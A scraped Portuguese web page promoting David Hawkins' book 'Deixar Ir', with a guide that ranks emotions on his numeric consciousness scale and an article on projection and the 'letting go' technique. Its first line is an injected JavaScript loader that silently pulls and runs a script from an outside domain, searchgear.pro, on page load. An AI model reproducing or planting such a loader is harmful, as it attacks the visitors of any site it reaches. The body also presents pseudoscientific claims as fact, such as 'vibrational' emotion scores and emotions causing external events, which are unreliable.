;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Emoções Negativas - David Hawkins Brasil
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Guia de Inteligência Emocional: Como Identificar Suas Emoções

Um dos pontos importantes para a inteligência emocional é observar suas emoções ou sentimentos e ficar consciente deles. Esse é o ponto central da técnica descrita no best-seller Deixar Ir, de Dr. David Hawkins.

Embora — segundo o próprio David Hawkins — não seja necessário nomear as emoções, pode ser útil compreender o nível energético e as características de cada uma delas. Assim fica fácil identificar, por exemplo, se você está em um estado emocional propício para agir e tomar decisões ou se é melhor aguardar um outro momento.

Neste conteúdo você terá acesso a um guia para identificar suas emoções e assim desenvolver sua inteligência emocional. Confira.

Guia de Inteligência Emocional: Emoções Negativas

Ao lado do nome de cada emoção, você verá o nível vibracional do campo energético dessa emoção conforme a Escala Hawkins de Consciência, que vai de 1 (nível mais baixo) até 1.000 (nível mais alto).

Isso ajudará você a identificar o quão negativa ou positiva é a emoção que você está experienciando. Com isso, você terá ainda mais consciência para reconhecer as emoções negativas rapidamente e escolher as positivas, ampliando sua inteligência emocional.

Vergonha (20)

Sabe aquele sentimento de humilhação, quando nos sentimos pior do que tudo e todos? Esse é o nível de consciência da vergonha, que tem uma vibração extremamente baixa.

Aqui não estamos falando apenas de se sentir encabulado. Vai muito além. É como se a pessoa sentisse vergonha de ser quem ela é.

Quando realmente mergulhamos na emoção da vergonha, passamos a achar que o mundo é miserável. Nessas horas, qualquer outra emoção que pudermos nos conectar já será válida. Mesmo outras energias negativas serão “menos negativas” e poderão auxiliar a sair desse estado emocional.

Culpa (30)

O campo emocional da culpa leva o indivíduo a desejar dois movimentos:

  • punir os outros, por achar que eles são culpados;
  • e ser punido, justamente para aliviar a culpa que sente. 

Por conta disso, é um campo extremamente perigoso. Leva a autorrejeição, masoquismo, remorso, mal-estar e autossabotagem. Propensão a acidentes, comportamento suicida e projeção de auto-ódio sobre os “maus” são comuns. 

A emoção da culpa, quando reprimida, torna-se a base de muitas doenças psicossomáticas. O problema é que esse sentimento está tão inserido no nosso dia a dia que acaba passando despercebido.

Para identificar esse estado, uma dica é observar o próprio uso da palavra “culpa”, como: “É tudo culpa minha” ou “Bem-feito, é culpa dele”.

Apatia (50)

A emoção da apatia vai além da preguiça e é caracterizada pelo desespero, ou seja, a falta de esperança em relação à vida ou algum tema específico. Por exemplo, quando você se depara com um assunto incômodo e pensa “isso não tem jeito”, “não tem nada que possa ser feito” ou “eu não consigo”.

Em muitos casos, as áreas ou assuntos da nossa vida que estão estagnados há muito tempo são áreas nas quais estamos tomados pela emoção ou energia da apatia.

Tristeza (75)

Talvez essa seja uma das emoções mais fáceis de identificar, não é? Porém, ainda assim a tristeza pode surgir discretamente e passar despercebida.

É interessante notar que a emoção da tristeza está relacionada à ausência de aceitação. Quando vivenciamos esse sentimento, é comum falarmos coisas como “se pelo menos eu tivesse…”, ou então “se eu NÃO tivesse feito aquilo”. É uma sensação de estar preso e não conseguir seguir em frente.

Em muitos casos, a tristeza também pode estar associada a algum tipo de luto. A pessoa se prende ao passado, às memórias, e praticamente deseja “voltar no tempo”. “Ah, se tudo fosse como era antes”. Nesse caso não estamos falando de memórias de gratidão, que lembram de tudo com leveza e amor, mas sim de uma emoção pesada e depressiva.

Medo (100)

Medo de dar errado. Medo de perder. Medo de não conseguir. Medo de ser atacado. Medo de ser assaltado. Medo de perder o emprego. Medo de falir. Medo do futuro. Medo de perder pessoas queridas.

A emoção do medo toma as mais variadas formas em nossa vida, desde uma leve ansiedade até o pânico mais profundo, quando a pessoa jura que vai morrer. É uma energia preocupada (se ocupa com o futuro e esquece o presente); defensiva (vê a vida como uma disputa); e evasiva (quando não está lutando, está fugindo de conflitos).

No corpo, o medo frequentemente dispara reações de tensão (musculatura rígida, por exemplo), ou ainda extremos de frio ou calor.

Dr. David Hawkins explica que, em última instância, todo medo é o medo da morte — isso é explicado em mais detalhes no livro Deixar Ir.

Desejo (125)

Desejo é o equivalente à emoção da ganância. É um impulso de buscar sempre mais, sempre um novo ganho, aquisição, prazer ou qualquer outra coisa que está “do lado de fora”.

Quando essa emoção toma conta de nós, nos tornamos insaciáveis. Precisamos de mais. Mais um pedaço do nosso doce preferido; mais uma dose de bebida; mais uma compra; mais uma experiência; assim por diante.

No corpo físico, a emoção do desejo costuma vir acompanhada de sensações ligadas ao paladar, como fome ou sede. Já na fala, é comum externalizar frases como: “Eu PRECISO disso”, “Só mais um pouco e então eu paro”, “Me dê o que eu quero, e me dê agora!”

Raiva (150)

Conhecida de todos, a emoção da raiva vem acompanhada de uma visão de mundo antagonista: algo ou alguém parece estar contra você. Um ótimo jeito de verificar se você está nessa emoção é quando você começa a acreditar, mesmo temporariamente, que tem “inimigos” ou rivais.

A raiva é irritável, explosiva, amarga, volátil e rancorosa. Gosta de “ficar quite” e fala coisas como “vou te mostrar” ou “eles vão ver só”.

Orgulho (175)

“Meu jeito é o melhor jeito”, diz essa emoção. Seu foco é conquista, desejo por reconhecimento, ser especial e perfeito. Quando somos tomados pelo orgulho, nos sentimos “melhor que” e superior aos outros.

O orgulho traz comparação e competição.

Embora geralmente seja identificado como “ego inflado”, na polaridade oposta pode ter o efeito inverso. Nesse caso, a pessoa se acha pior que os outros e se enxerga como perdedora na competição da vida.

Guia de Inteligência Emocional: Emoções Positivas

Coragem (200)

A coragem é a primeira energia positiva, por isso essa serve como porta de entrada para a inteligência emocional, saindo das emoções negativas e buscando a positividade.

Essa emoção diz: “Eu consigo fazer isso”, “Se alguém já fez algo semelhante, eu também posso!”. É uma energia determinada, produtiva, empoderada e empolgada com a vida. 

Quando estamos tomados pela emoção da coragem, saímos da teoria ou das divagações e partimos para ações efetivas. A coragem não se importa de ainda não saber como fazer, porque dará um jeito de descobrir e chegar lá.

Neutralidade (250)

É a emoção ligada à ausência de julgamento e competitividade. Traz confiança e estabilidade. Além disso, é livre de posições rígidas.

Quando essa emoção está presente, ficamos tranquilos e “de boa”, sabendo que tudo ficará bem. Frases comuns são: “Se isso não funcionar, eu tento de novo” e “Tudo tem dois lados”.

Disposição (310)

Essa emoção desperta uma alta energia e vontade de ajudar. É uma emoção ativa, ligada a movimento e proatividade. Traz uma atitude positiva e otimista em relação à vida e às pessoas.

A energia da disposição é muito vista em empreendedores e trabalhadores dispostos. É a emoção que faz a “roda da economia” girar.

Aceitação (350)

Nesse nível energético, a qualidade da inteligência emocional se acentua.

A emoção da aceitação é a mesma do perdão, lembrando que perdoar não significa concordar com o que aconteceu, mas sim aceitar a realidade que se apresentou.

No momento em que finalmente aceitamos ou perdoamos um ocorrido, a emoção da aceitação toma conta, nos liberta e traz uma enorme leveza!

É uma emoção tranquila e livre de resistências internas. Harmonia e empatia são duas características marcantes: “A vida é boa. Você e eu somos bons. Eu me sinto conectado.” Em vez de desejar que a vida fosse diferente, essa emoção aceita a vida como é e as pessoas como são. Não há necessidade de culpar os outros ou culpar a vida.

É importante não confundir aceitação com apatia, que já foi explicada nas emoções negativas. A aceitação é uma emoção proativa, que aceita o momento atual e então se move para trazer melhorias a si e aos outros.

Razão (400)

Esse aspecto diferencia os humanos do mundo animal. Existe a capacidade de ver as coisas de forma abstrata, de conceituar, ser objetivo e tomar decisões rápidas e corretas. Tem grande utilidade para resolver problemas. Ciência, filosofia, medicina e lógica são expressões deste campo energético.

A partir daqui não estamos mais falando propriamente de emoções, mas sim de níveis de consciência nos quais a emocionalidade vai ficando de lado.

Na primeira parte deste artigo apresentamos as emoções negativas (de vergonha até o orgulho). Depois, as emoções positivas (de coragem até aceitação). A partir deste nível de 400, a razão se sobrepõe às emoções. Isso não significa que a pessoa será fria, mas sim que suas decisões e ações não estarão baseadas apenas no que ela está sentindo naquele momento.

Quando o campo energético da razão se apresenta, somos capazes de nos “afastar” mentalmente de um assunto e olhar para ele de forma desapegada, sem levar para o pessoal, buscando considerar o máximo de pessoas e variáveis envolvidas.

Com a razão, a inteligência emocional se amplia mais uma vez.

Amor (500)

Quando falamos do amor, não se trata somente das relações românticas ou familiares. O campo de consciência do amor vai além: é uma maneira de ser que perdoa, dá apoio e que “nutre” a si e aos outros.

O amor não vem da mente; em vez disso, emana do coração. Quando vivenciamos verdadeiramente o amor, passamos a focar na essência de cada situação, e não nos detalhes.

À medida que o amor deixa de ser uma emoção temporária e toma conta de nós como um estilo de vida, passamos a enxergar que tudo e todos são dignos de serem amados.

No nível de Amor, a inteligência emocional abre espaço para o que é chamado de inteligência espiritual, com a harmonia das funções do lado esquerdo e direito do cérebro.

Alegria ou Amor Incondicional (540)

Esse estado emocional ou estado de consciência vê o mundo como completo. Enxerga que tudo está conectado, que “todos são um” e sente compaixão por todos.

Há uma enorme paciência e uma preocupação — no bom sentido — com a felicidade dos outros. Além disso, há uma sensação de autorrealização e autossuficiência.

Paz (600+)

A paz é vivenciada como perfeição, alegria, leveza e unidade. É um estado de não dualidade, ou seja, de “não divisão”. Está além da separação e do intelecto. É um estado de iluminação que traz profunda serenidade.

Desenvolva ainda mais sua Inteligência Emocional

Agora que você já conhece a Escala das Emoções, você pode aprofundar ainda mais esse estudo.

No livro best-seller Deixar Ir: o caminho do desapego, Dr. David Hawkins descreve as emoções ou níveis de consciência com mais detalhes. Além disso, nesse livro é ensinada a própria técnica de Deixar Ir, que é a ferramenta mais simples e efetiva que existe para desenvolver inteligência emocional. Clique aqui e adquira o seu exemplar.

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Emoções Negativas: Como Lidar com Elas

Qual foi a última vez que você sentiu emoções negativas? Hoje? Ontem? Semana passada?

E, na sua opinião, qual foi a causa dessas emoções negativas?

Embora tenhamos o hábito de atribuir as causas das emoções a fatores externos, Dr. David Hawkins nos explica que a verdade é exatamente o contrário. São as nossas emoções negativas que causam acontecimentos desagradáveis fora de nós!

Isso pode parecer uma afirmação bastante estranha, mas fique conosco para entender melhor.

Você só vê fora o que tem dentro: o mecanismo da projeção

Vamos combinar: não é fácil lidar com emoções negativas, certo?

Por conta dessa dificuldade, a mente racional utiliza mecanismos que a psicologia chama de “projeção”. 

Para entender melhor o que é a projeção, é interessante olharmos antes para os mecanismos de repressão e supressão.

Repressão e Supressão das emoções negativas

Imagine que as emoções negativas são como a sujeira dentro da nossa casa. Os dias, semanas, meses e anos vão passando e a poeira vai se acumulando sobre o piso.

Quando negamos olhar para a sujeira e fingimos que ela não existe, isso é repressão.

Psicologicamente, a repressão é um estado de negação. É tão doloroso lidar com a sujeira que preferimos fazer vista grossa para ela.

Em outros momentos até enxergamos a sujeira, mas não temos disposição para lidar com ela. Então, escolhemos conscientemente jogar a poeira para baixo do tapete. Essa é a supressão.

A supressão é uma espécie de procrastinação emocional.

Sabemos que processar emoçoes negativas é cansativo e, por isso, contamos uma história para nós mesmos: “Ah, outra hora eu lido com isso”.

Projeção ou deslocamento

Ocorre quando a sujeira embaixo do tapete é tão grande que precisamos colocar um pouco dessa poeira para fora. Só que não somos loucos a ponto de simplesmente sair espalhando sujeira por aí. Precisamos de uma justificativa, uma desculpa.

Vamos pegar como exemplo a emoção da raiva.

Imagine que, sob o nosso tapete da sala, existe uma quantidade de raiva tão grande que está quase saindo para além do tapete. Lá no fundo, nossa mente inconsciente pensa: “Que ótimo seria se eu pudesse despejar essa poeira (raiva) em algum lugar, sem ter muito trabalho.”

De repente, uma pessoa da nossa família passa e faz algo que não nos agrada, que contraria a nossa expectativa. Nesse momento, levantamos o tapete e despejamos uma certa quantidade de poeira (raiva) na pessoa.

Temos a justificativa perfeita: “Você me incomodou”. “Ela me irritou”. “Eles fizeram algo errado”.

A grande ponto é que a situação toda não passou de um gatilho.

Na realidade, o nosso “estoque” de raiva fez com que procurássemos uma situação para descarregar a sujeira, e não o contrário. Estávamos atrás de uma oportunidade.

Esse é o mecanismo da projeção (ou, na psiquiatria, deslocamento). 

A panela de pressão

Dr. David Hawins usa também a metáfora da panela de pressão. Quando a pressão é muito grande, precisamos enfim direcioná-la para fora, e não mais só para dentro.

Portanto, direcionamos a fumaça para outras pessoas ou situações externas. Projetamos ou deslocamos essa fumaça, dizendo que a culpa é daquilo que está fora.

A projeção é um processo de, justamente, pegar algo que é uma realidade interna nossa e projetar para fora, fazendo parecer que a causa é externa.

Segundo Dr. Hawkins, “quando a pressão dos sentimentos suprimidos e reprimidos excedem a tolerância máxima do indivíduo, a mente vai criar um evento ‘fora’ para se desafogar e deslocar.”

O mecanismo de Deixar Ir: antídoto para as emoções negativas

Mas como parar de projetar nossas emoções negativas do lado de fora e, ao invés disso, curarmos a nós mesmos?

Dr. David Hawkins nos ensina que a melhor maneira de lidar com os sentimentos negativos é através do mecanismo de Deixar Ir.

Nas palavras do próprio Dr. Hawkins,

Deixar ir envolve estar consciente de um sentimento, deixá-lo vir à tona, permanecer com ele e deixá-lo seguir seu curso sem querer torná-lo diferente ou fazer qualquer coisa sobre ele. Significa simplesmente deixar o sentimento estar presente e focar em deixar sair a energia por trás dele.

Quando paramos de resistir ao sentimento, condená-lo ou julgá-lo, passamos a olhar para ele apenas como um sentimento. A partir daí, automaticamente ele vai se dissolvendo.

Hawkins explica que é a resistência que mantém o sentimento.

Ou seja, quando você diz para si mesmo “Eu não posso sentir isso”, você mantém essas sensações e emoções dentro de você. 

Por outro lado, quando diz “Ok, eu posso sentir isso e não há nada de errado”, você se torna consciente. Sua resistência vai embora e as emoções negativas começam a se dissipar naturalmente, como uma onda que vem e que passa.

O livro Deixar Ir: o caminho do desapego

A melhor recomendação possível para aprender o mecanismo de Deixar Ir e, assim, aprender a lidar com os seus sentimentos e emoções negativas, é ler o livro best-seller de Dr. David Hawkins.

Na obra, o cientista e professor espiritual detalha de maneira prática o uso da técnica.

Além disso, você vai aprender sobre a Escala das Emoções e sua influência sobre todas as áreas da nossa vida, desde as emoções negativas — como vergonha, ódio, medo, ganância, raiva e orgulho —, até os campos de consciência positivos — como coragem, disposição, aceitação, razão, amor, paz e iluminação.

Confira aqui mais detalhes sobre o livro Deixar Ir e aprenda a técnica mais efetiva para lidar com sentimentos e emoções negativas.